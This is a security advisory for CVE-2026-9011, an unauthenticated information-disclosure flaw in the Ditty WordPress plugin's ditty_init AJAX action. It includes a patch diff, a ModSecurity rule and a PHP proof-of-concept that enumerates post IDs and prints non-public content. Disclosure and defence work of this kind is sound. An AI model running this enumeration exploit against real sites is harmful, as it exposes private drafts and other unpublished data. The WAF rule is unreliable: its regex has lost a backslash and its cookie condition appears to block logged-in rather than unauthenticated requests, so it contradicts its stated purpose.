Atomic Edge analysis of CVE-2026-9011:
This vulnerability in the Ditty plugin (versions 3.1.65 and below) allows unauthenticated attackers to retrieve the full content of non-public Ditty posts, including drafts, pending, scheduled, and disabled entries. The flaw exists in the ajax handler for the ditty_init action, which fails to verify the post status before returning item data. The CVSS score is 7.5 (High).
The root cause is in the `init_ajax()` method within `/ditty-news-ticker/includes/class-ditty-singles.php`. Unlike the non-AJAX `init()` method, `init_ajax()` did not validate that the requested Ditty post had a ‘publish’ status before loading and returning its items. The vulnerable code path processes the `id` parameter from `$_POST` without checking `get_post_status()`. The patch adds a permission check at lines 226-238 of the diff, verifying that only published Dittys are accessible to unauthenticated users.
An attacker can exploit this by sending a POST request to `/wp-admin/admin-ajax.php` with `action=ditty_init` and a numeric `id` parameter corresponding to any Ditty post (including non-published ones). By enumerating integer IDs, the attacker can extract content from drafts, pending, scheduled, or disabled entries that administrators intended to keep private. No authentication is required.
The patch adds three critical checks in `init_ajax()`: verifying the post ID belongs to the ‘ditty’ post type, confirming the post status is ‘publish’ (or the user has edit capabilities), and requiring `edit_dittys` capability for the editor flag. A similar fix is applied to the `live_update_ajax()` method. These changes prevent unauthenticated access to non-public Ditty content.
If exploited, an attacker can access sensitive information from hidden or unpublished content. This could include confidential news items, private announcements, draft content, or any data stored in non-public Ditty posts. The vulnerability does not lead to privilege escalation or remote code execution, but the information disclosure can be severe depending on the content within the non-public Dittys.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/ditty-news-ticker/ditty-news-ticker.php
+++ b/ditty-news-ticker/ditty-news-ticker.php
@@ -4,7 +4,7 @@
* Plugin Name: Ditty
* Plugin URI: https://www.metaphorcreations.com/ditty
* Description: Ditty offers a range of content display options, including its signature news ticker and customizable layouts.
- * Version: 3.1.65
+ * Version: 3.1.66
* Author: Metaphor Creations
* Author URI: https://www.metaphorcreations.com
* License: GPL-2.0+
@@ -23,7 +23,7 @@
// Plugin version.
if ( ! defined( 'DITTY_VERSION' ) ) {
- define( 'DITTY_VERSION', '3.1.65' );
+ define( 'DITTY_VERSION', '3.1.66' );
}
// Plugin Folder Path.
--- a/ditty-news-ticker/includes/class-ditty-singles.php
+++ b/ditty-news-ticker/includes/class-ditty-singles.php
@@ -226,6 +226,24 @@
$custom_layout_settings_ajax = isset( $_POST['layout_settings'] ) ? esc_attr( $_POST['layout_settings'] ) : false;
$editor_ajax = isset( $_POST['editor'] ) ? intval( $_POST['editor'] ) : false;
+ // Validate the requested Ditty exists and is the correct post type
+ if ( ! $id_ajax || 'ditty' !== get_post_type( $id_ajax ) ) {
+ wp_send_json_error();
+ }
+
+ // Only published Dittys are publicly accessible. Non-published Dittys
+ // (draft, pending, scheduled, private, trash, etc.) may only be loaded
+ // by users with the capability to edit that specific Ditty.
+ if ( 'publish' !== get_post_status( $id_ajax ) && ! current_user_can( 'edit_post', $id_ajax ) ) {
+ wp_send_json_error();
+ }
+
+ // The editor flag should only be honored for users with the capability
+ // to edit Dittys to avoid exposing editor-only data publicly.
+ if ( $editor_ajax && ! current_user_can( 'edit_dittys' ) ) {
+ $editor_ajax = false;
+ }
+
// Get the display attributes
if ( ! $display_ajax ) {
$display_ajax = get_post_meta( $id_ajax, '_ditty_display', true );
@@ -379,6 +397,16 @@
$updated_items = array();
if ( is_array( $live_ids ) && count( $live_ids ) > 0 ) {
foreach ( $live_ids as $ditty_id => $data ) {
+ $ditty_id = intval( $ditty_id );
+
+ // Only return items for valid Ditty posts the requester may access.
+ if ( ! $ditty_id || 'ditty' !== get_post_type( $ditty_id ) ) {
+ continue;
+ }
+ if ( 'publish' !== get_post_status( $ditty_id ) && ! current_user_can( 'edit_post', $ditty_id ) ) {
+ continue;
+ }
+
$layout_settings = isset( $data['layout_settings'] ) ? $data['layout_settings'] : false;
$updated_items[$ditty_id] = $this->get_display_items( $ditty_id, 'cache', $layout_settings );
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-9011
# Blocks unauthenticated access to the ditty_init AJAX action for non-public Ditty posts
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20269011,phase:2,deny,status:403,chain,msg:'CVE-2026-9011 Ditty AJAX unauthorized info disclosure',severity:'CRITICAL',tag:'CVE-2026-9011'"
SecRule ARGS_POST:action "@streq ditty_init" "chain"
SecRule ARGS_POST:id "@rx ^d+$" "chain"
SecRule REQUEST_COOKIES:/^wordpress_logged_in_/ "@unconditionalMatch" "t:none,chain"
SecRule MATCHED_VAR "@unconditionalMatch" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9011 - Ditty <= 3.1.65 - Missing Authorization to Unauthenticated Sensitive Information Disclosure via ditty_init AJAX Action
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// Start enumeration from a low ID; adjust range as needed
for ($id = 1; $id <= 20; $id++) {
$post_data = array(
'action' => 'ditty_init',
'id' => $id
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 200 && !empty($response)) {
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && !empty($data)) {
echo "[+] ID $id returned data. Content: " . print_r($data, true) . "nn";
}
} else {
echo "[-] ID $id returned HTTP $http_code or empty response.n";
}
}
echo "[+] Enumeration complete.n";
